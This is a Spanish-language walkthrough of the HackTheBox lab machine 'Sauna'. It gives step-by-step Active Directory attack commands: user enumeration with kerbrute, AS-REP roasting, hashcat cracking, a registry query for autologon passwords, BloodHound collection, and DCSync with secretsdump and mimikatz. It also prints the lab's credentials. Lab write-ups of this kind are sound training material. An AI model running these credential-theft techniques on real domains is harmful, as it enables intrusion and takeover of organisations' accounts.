Inicio Sauna Writeup - HackTheBox
Entrada
Cancelar

Sauna Writeup - HackTheBox

Resumen

Sauna es una máquina Windows de dificultad fácil de la plataforma de Hack The Box, incluye conceptos de explotación de Active Directory y enumeración básica.

Comenzaremos por encontrar usuarios potenciales a través de enumeración LDAP y WEB. Con estos, se aplicará una validación de usuarios contra kerberos para descartar los que no resulten válidos y realizar asreproast para obtener un hash, crackearlo y posteriormente obtener una consola como un usuario de bajos privlegios. Dentro del sistema, será posible enumerar y encontrar credenciales autologon para otro usuario y pivotar a él. Este usuario tendrá privilegios para ejecutar un ataque DCSync y obtener el hash del usuario Administrador, con el que será posible ingresar directamente utilizando WinRM.

Info

Enumeración

Rustscan - NMAP

Como siempre, se iniciará realizando un escaneo general de los 65535 puertos. En este caso se utilizará Rustscan, proporcionando comandos de nmap para realizar el escaneo desde un one-liner.

  • rustscan 10.10.10.100 -- -sC -sV | tee services.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.175:53
Open 10.10.10.175:80
Open 10.10.10.175:88
Open 10.10.10.175:135
Open 10.10.10.175:139
Open 10.10.10.175:389
Open 10.10.10.175:445
Open 10.10.10.175:464
Open 10.10.10.175:593
Open 10.10.10.175:636
Open 10.10.10.175:3268
Open 10.10.10.175:3269
Open 10.10.10.175:5985
Open 10.10.10.175:9389
Open 10.10.10.175:49667
Open 10.10.10.175:49673
Open 10.10.10.175:49674
Open 10.10.10.175:49676
Open 10.10.10.175:49695

(...)

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain?       syn-ack
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2022-01-21 07:27:16Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack Microsoft Windows RPC
49695/tcp open  msrpc         syn-ack Microsoft Windows RPC

Desde el output podemos obtener que los servicios: LDAP, RPC, HTTP, SMB, WinRM y Kerberos se encuentran abiertos, los cuales son ideales para comenzar la enumeración. Adicionalmente Nmap nos indica que el dominio al cual pertenece la máquina es: EGOTISTICAL-BANK.LOCAL.

SMB

Comenzando con el servicio SMB, se intenta enumerar información adicional con una autenticación de usuario null.

Como era de esperar, no es posible enumerar recursos compartidos sin credenciales válidas.

RPC

Se intenta lo mismo con RPC sin tener éxito.

LDAP

Ya que aún no disponemos de credenciales dentro de la máquina, lo que se puede hacer es lanzar un script de enumeración de nmap para intentar obtener algo de información.

1
nmap -n -sV --script "ldap* and not brute" 10.10.10.175

Con este método se identifica el usuario Hugo Smith como un usuario válido del sistema.

Enumeración Web

Con respecto al puerto 80, lo primero que se visualiza al entrar es una presunta landpage de un banco llamado Egotistical Bank

Husmeando por la web, llegamos a la ruta /about en donde hay nombres de “colaboradores”, los cuales son usuarios potenciales del sistema.

Se obtienen los siguientes nombres:

  • Fergus Smith
  • Hugo Bear
  • Steven Kerb
  • Shaun Coins
  • Bowie Taylor
  • Sophie Driver

En este punto, podemos utilizar la herramienta Kerbrute para validar estos usuarios. Pero antes de esto, sería importante saber en qué formato están creados los usuarios dentro del dominio, es decir, su samAccountName o nombre de login. Tomaremos como ejemplo el primer usuario obtenido, Hugo Smith e intentaremos distintos formatos para conocer la estructura.

Ejecutaremos kerbrute con la siguiente lista de usuarios para conocer el formato.

1
2
3
4
5
hugo_smith
hugo.smith
hugosmith
hugo-smith
hsmith

kerbrute userenum users.txt --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL

Y tenemos un match con el usuario hsmith, con esto ya podemos construir la lista con el resto de nombres.

1
2
3
4
5
6
7
hsmith
fsmith
hbear
skerb
scoins
btaylor
sdriver

ASREPRoast

Con la información obtenida, se podría intentar un ataque de tipo AS-REP Roast, el cual consiste en abusar del atributo DONT_REQ_PREAUTH en la configuración del usuario, de esta forma obtendremos un TGT o hash que es posible crackear de manera offline con john the ripper o hashcat.

Fuente

Para realizar este ataque existen varias opciones, en este caso estaremos utilizando GetNPUsers.py de Impacket y el módulo ASREPROAST de CrackMapExec.

GetNPUsers

  • GetNPUsers.py -usersfile users.txt -no-pass -request EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175

CrackmapExec

  • cme ldap 10.10.10.175 -u users.txt -p '' --asreproast hashes.txt --kdcHost 10.10.10.175

De todos los usuarios en la lista, solo el user fsmith es vulnerable a asreproast y se obtiene su hash.

Ganando Acceso - user fsmith

Ambos hashes serán válidos y podrán ser crackeados por ambas herramientas mencionadas anteriormente. En esta ocasión utilizaremos hashcat.

Para descubrir que módo se debe utilizar, podemos listar los hashes de ejemplo con --example-hashes y filtrar por la cadena de inicio del hash.

Ahora, consultando el panel de ayuda hashcat -h vemos un ejemplo de ejecución utilizando un wordlist.

Entonces tendríamos lo siguiente:

  • hashcat -a 0 -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Se consigue la contraseña Thestrokes23. Inmeditanamente la validamos contra el servicio WinRM y tenemos acceso.

Escalando privilegios - user svc_loanmgr

Ya una vez dentro de Sauna, procederemos a realizar enumeración básica y con net users se descubre un nuevo usuario: svc_loanmgr.

Esto también puede ser enumerado con la ayuda de CrackMapExec haciendo un bruteforcing de usuarios en base a su RID.

Continuando, pasamos a buscar credenciales que pudieran estar guardadas en el registro, es decir, contraseñas autologon. Esto se puede realizar con una query desde consola o bien utilizando winPEAS.

  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

Se obtiene la contraseña para el usuario svc_loanmgr. Al chequear las credenciales contra el servicio WinRM, vemos que también se encuentra en el grupo Remote Management Users.

Escalando privilegios - root

Ahora que tenemos acceso al user svc_loanmgr aplicaremos un reconocimiento con la ayuda de bloodhound. Para esta ocasión se utilizará la versión en python que se puede lanzar remotamente.

Bloodhound

  • bloodhound-python -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all

Se obtienen cuatro archivos con la información extraída y procederemos a subirlos a BloodHound

Información adicional sobre bloodhound: Hacktricks

Una vez la data ha sido importada, buscaremos entidades con permisos para ejecutar un ataque DCSync.

Más información sobre DCSync y su explotación: HackTricks

Desde la pestaña Analysis seleccionaremos Find Principals with DCSync Rights, esto automáticamente nos dará una lista de los usuarios/grupos que tengan los permisos necesarios para aplicar el ataque.

El user svc_loanmgr posee los permisos GetChanges y GetChangesAll.

DCSync

Secretsdump

Con esta información, ya se puede realizar el DCSync remotamente utilizando secretsdump.py de impacket.

  • secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175

Mimikatz

Otra forma de aplicar DCSync (localmente), sería subir a la máquina el binario de mimikatz.exe y ejecutar la siguiente instrucción.

  • .\mimikatz.exe 'lsadump::dcsync /domain:egotistical-bank.local /user:Administrator' exit

Con el hash del usuario Administrador obtenido, intentaremos ingresar por WinRM directamente, ya que no es necesario crackearlo.

Por último, listaremos las flags.

¡Happy Hacking and keep grinding!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.